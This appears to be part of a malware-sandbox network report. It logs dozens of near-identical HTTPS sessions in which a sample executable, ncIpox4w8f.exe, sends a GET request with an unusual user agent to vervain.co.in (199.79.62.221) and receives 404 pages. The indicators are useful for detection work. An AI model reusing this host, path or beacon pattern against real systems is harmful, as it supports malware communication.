20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49816	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:33 UTC	43	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:33 UTC	43	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:33 UTC	43	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49817	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:34 UTC	44	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:34 UTC	44	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:34 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:34 UTC	44	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49818	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:36 UTC	45	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:36 UTC	45	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:36 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:36 UTC	45	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49819	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:39 UTC	46	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:39 UTC	46	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:39 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:39 UTC	46	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49820	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:40 UTC	47	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:41 UTC	47	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:40 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:41 UTC	47	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49760	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:27 UTC	4	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:28 UTC	4	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:28 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:28 UTC	5	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49821	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:41 UTC	48	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:42 UTC	48	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:42 UTC	48	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49822	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:42 UTC	49	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:43 UTC	49	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:43 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:43 UTC	49	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.4	49823	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:43 UTC	50	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:44 UTC	50	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:44 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:44 UTC	50	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.4	49824	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:45 UTC	51	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:45 UTC	51	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:45 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:45 UTC	51	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.4	49825	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:46 UTC	52	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:46 UTC	52	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:46 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:46 UTC	52	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.4	49826	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:47 UTC	53	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:47 UTC	53	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:47 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:47 UTC	53	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49827	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:48 UTC	54	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:48 UTC	54	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:48 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:09:48 UTC	54	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49833	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:09:49 UTC	54	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:09:50 UTC	55	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:09:49 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
